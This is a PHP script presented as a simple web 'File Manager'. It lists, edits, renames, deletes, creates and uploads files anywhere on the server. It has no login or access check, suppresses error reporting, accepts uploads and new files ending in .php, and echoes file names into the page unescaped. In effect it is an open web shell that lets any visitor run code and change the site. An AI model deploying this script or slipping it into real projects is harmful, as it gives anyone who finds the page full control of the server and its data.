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<?php
// ========================
// INITIAL SETTINGS
// ========================
error_reporting(0);
session_start();

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf', 'zip', 
                      'php', 'html', 'css', 'js', 'json', 'sql'];

// ========================
// PATH HANDLING
// ========================
$current_folder = getcwd();
if(isset($_GET['folder']) && is_dir($_GET['folder'])) {
    $current_folder = realpath($_GET['folder']);
}

$file_name = isset($_GET['file']) ? basename($_GET['file']) : '';
$file_path = $current_folder . '/' . $file_name;

// ========================
// FUNCTION LIBRARY
// ========================

// Show folder contents
function show_folder($path) {
    echo "<table border='1' cellpadding='5' cellspacing='0' width='100%'>
            <tr bgcolor='#e0e0e0'>
                <th>Name</th>
                <th width='80'>Size</th>
                <th width='120'>Modified</th>
                <th width='200'>Actions</th>
            </tr>";
    
    // Go to parent folder
    echo "<tr>
            <td colspan='4'>
                <a href='?folder=" . urlencode(dirname($path)) . "'>
                    [ GO TO PARENT FOLDER ]
                </a>
            </td>
          </tr>";
    
    $items = array_diff(scandir($path), ['.', '..']);
    
    foreach($items as $item) {
        $full_path = $path . '/' . $item;
        $is_folder = is_dir($full_path);
        $icon = $is_folder ? '📁' : '📄';
        $size = $is_folder ? '-' : format_size(filesize($full_path));
        $date = date('d.m.Y H:i', filemtime($full_path));
        
        echo "<tr>";
        
        // Name
        echo "<td>$icon ";
        if($is_folder) {
            echo "<a href='?folder=" . urlencode($full_path) . "'><b>$item</b></a>";
        } else {
            echo "<b>$item</b>";
        }
        echo "</td>";
        
        // Size
        echo "<td align='right'>$size</td>";
        
        // Date
        echo "<td>$date</td>";
        
        // Actions
        echo "<td>";
        if(!$is_folder) {
            echo "[<a href='?folder=" . urlencode($path) . "&action=edit&file=$item'>Edit</a>] ";
            echo "[<a href='?folder=" . urlencode($path) . "&action=view&file=$item'>View</a>] ";
        }
        echo "[<a href='?folder=" . urlencode($path) . "&action=rename&file=$item'>Rename</a>] ";
        echo "[<a href='?folder=" . urlencode($path) . "&action=delete&file=$item' 
              onclick=\"return confirm('Delete $item?')\">Delete</a>]";
        echo "</td>";
        
        echo "</tr>";
    }
    
    echo "</table>";
}

// Format size
function format_size($bytes) {
    if($bytes < 1024) return $bytes . ' B';
    if($bytes < 1048576) return round($bytes/1024, 2) . ' KB';
    return round($bytes/1048576, 2) . ' MB';
}

// Upload file
function upload_file($target) {
    global $allowed_extensions;
    
    $file = $_FILES['upload_file'];
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    
    if(!in_array($extension, $allowed_extensions)) {
        return "ERROR: .$extension extension not allowed";
    }
    
    if(move_uploaded_file($file['tmp_name'], $target . '/' . $file['name'])) {
        return "OK: " . $file['name'] . " uploaded";
    }
    
    return "ERROR: Upload failed";
}

// Create folder
function create_folder($path) {
    $name = trim($_POST['new_folder']);
    if(empty($name)) return "ERROR: Folder name required";
    
    $new_path = $path . '/' . $name;
    
    if(mkdir($new_path)) {
        return "OK: $name folder created";
    }
    
    return "ERROR: Folder creation failed";
}

// Create file
function create_file($path) {
    $name = trim($_POST['new_file']);
    $content = $_POST['file_content'] ?? '';
    
    if(empty($name)) return "ERROR: File name required";
    
    $new_path = $path . '/' . $name;
    
    if(file_put_contents($new_path, $content) !== false) {
        return "OK: $name file created";
    }
    
    return "ERROR: File creation failed";
}

// Edit file
function edit_file($path) {
    if($_SERVER['REQUEST_METHOD'] == 'POST') {
        file_put_contents($path, $_POST['content']);
        echo "<div style='background:#d4edda; padding:10px; margin:10px 0;'>
                File saved
              </div>";
    }
    
    $content = htmlspecialchars(file_get_contents($path));
    $name = basename($path);
    
    echo "<h3>Edit: $name</h3>
          <form method='POST'>
            <textarea name='content' rows='25' style='width:100%; font-family:monospace;'>$content</textarea>
            <br><br>
            <input type='submit' value='Save'>
            <input type='button' value='Cancel' onclick=\"window.location='?folder=" . urlencode(dirname($path)) . "'\">
          </form>";
}

// View file
function view_file($path) {
    $content = htmlspecialchars(file_get_contents($path));
    $name = basename($path);
    
    echo "<h3>View: $name</h3>
          <div style='border:1px solid #ccc; padding:10px; background:#f8f9fa;'>
            <pre style='white-space:pre-wrap;'>$content</pre>
          </div>
          <br>
          <a href='?folder=" . urlencode(dirname($path)) . "'>Go Back</a>";
}

// Delete
function delete_item($path) {
    if(is_dir($path)) {
        rmdir($path);
        return "OK: Folder deleted";
    } else {
        unlink($path);
        return "OK: File deleted";
    }
}

// Rename
function rename_item($path) {
    if($_SERVER['REQUEST_METHOD'] == 'POST') {
        $new_name = trim($_POST['new_name']);
        $new_path = dirname($path) . '/' . $new_name;
        
        if(rename($path, $new_path)) {
            echo "<script>window.location='?folder=" . urlencode(dirname($path)) . "'</script>";
            return;
        }
    }
    
    $current_name = basename($path);
    
    echo "<h3>Rename: $current_name</h3>
          <form method='POST'>
            <input type='text' name='new_name' value='$current_name' size='50'>
            <input type='submit' value='Rename'>
            <input type='button' value='Cancel' onclick=\"window.location='?folder=" . urlencode(dirname($path)) . "'\">
          </form>";
}

// ========================
// ACTION HANDLER
// ========================
$message = '';
$special_action = false;

// POST actions
if($_SERVER['REQUEST_METHOD'] == 'POST') {
    if(isset($_FILES['upload_file'])) {
        $message = upload_file($current_folder);
    }
    elseif(isset($_POST['new_folder'])) {
        $message = create_folder($current_folder);
    }
    elseif(isset($_POST['new_file'])) {
        $message = create_file($current_folder);
    }
}

// GET actions
$action = $_GET['action'] ?? '';
if($action && $file_name) {
    $special_action = true;
    
    switch($action) {
        case 'edit':
            edit_file($file_path);
            break;
        case 'view':
            view_file($file_path);
            break;
        case 'delete':
            $message = delete_item($file_path);
            break;
        case 'rename':
            rename_item($file_path);
            break;
    }
}

// ========================
// INTERFACE
// ========================
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>File Manager</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 20px;
            background: #f0f0f0;
        }
        
        .box {
            background: white;
            border: 1px solid #ccc;
            padding: 15px;
            margin-bottom: 15px;
            border-radius: 5px;
        }
        
        .message {
            padding: 10px;
            margin: 10px 0;
            border-radius: 3px;
        }
        
        .ok { background: #d4edda; color: #155724; }
        .error { background: #f8d7da; color: #721c24; }
        
        input[type="text"], input[type="file"], textarea {
            padding: 5px;
            margin: 3px 0;
            width: 300px;
        }
        
        input[type="submit"], button {
            padding: 6px 12px;
            background: #4CAF50;
            color: white;
            border: none;
            cursor: pointer;
            border-radius: 3px;
        }
        
        input[type="submit"]:hover, button:hover {
            background: #45a049;
        }
        
        table {
            background: white;
            border-collapse: collapse;
        }
        
        th {
            background: #4CAF50;
            color: white;
        }
        
        tr:hover {
            background: #f5f5f5;
        }
        
        .actions {
            margin: 20px 0;
        }
        
        .actions div {
            display: inline-block;
            vertical-align: top;
            margin-right: 20px;
        }
    </style>
</head>
<body>

<h2>📂 File Manager</h2>

<?php if($message): ?>
    <div class="message <?php echo strpos($message, 'OK:') === 0 ? 'ok' : 'error'; ?>">
        <?php echo htmlspecialchars($message); ?>
    </div>
<?php endif; ?>

<?php if($special_action): ?>
    <!-- Special action view (edit, view, etc) -->
    <div class="box">
        <a href="?folder=<?php echo urlencode($current_folder); ?>">← Back to List</a>
        <hr>
        <?php /* Content already written by functions */ ?>
    </div>
<?php else: ?>
    <!-- Normal folder view -->
    
    <!-- Header info -->
    <div class="box">
        <strong>Folder:</strong> <?php echo htmlspecialchars($current_folder); ?><br>
        <strong>Total:</strong> <?php echo count(array_diff(scandir($current_folder), ['.', '..'])); ?> items
    </div>
    
    <!-- Action forms -->
    <div class="actions">
        <div class="box">
            <h4>📤 Upload File</h4>
            <form method="POST" enctype="multipart/form-data">
                <input type="file" name="upload_file" required><br><br>
                Allowed extensions: <?php echo implode(', ', $allowed_extensions); ?><br><br>
                <input type="submit" value="Upload">
            </form>
        </div>
        
        <div class="box">
            <h4>📁 New Folder</h4>
            <form method="POST">
                <input type="text" name="new_folder" placeholder="folder_name" required><br><br>
                <input type="submit" value="Create">
            </form>
        </div>
        
        <div class="box">
            <h4>📝 New File</h4>
            <form method="POST">
                <input type="text" name="new_file" placeholder="file.txt" required><br>
                <textarea name="file_content" placeholder="Content..." rows="4"></textarea><br>
                <input type="submit" value="Create">
            </form>
        </div>
    </div>
    
    <!-- Folder listing -->
    <div class="box">
        <?php show_folder($current_folder); ?>
    </div>
    
    <!-- Footer info -->
    <div class="box" style="text-align:center; font-size:12px; color:#666;">
        PHP <?php echo phpversion(); ?> | 
        Memory: <?php echo round(memory_get_usage()/1024/1024, 2); ?> MB | 
        Server: <?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; ?>
    </div>
<?php endif; ?>

</body>
</html>

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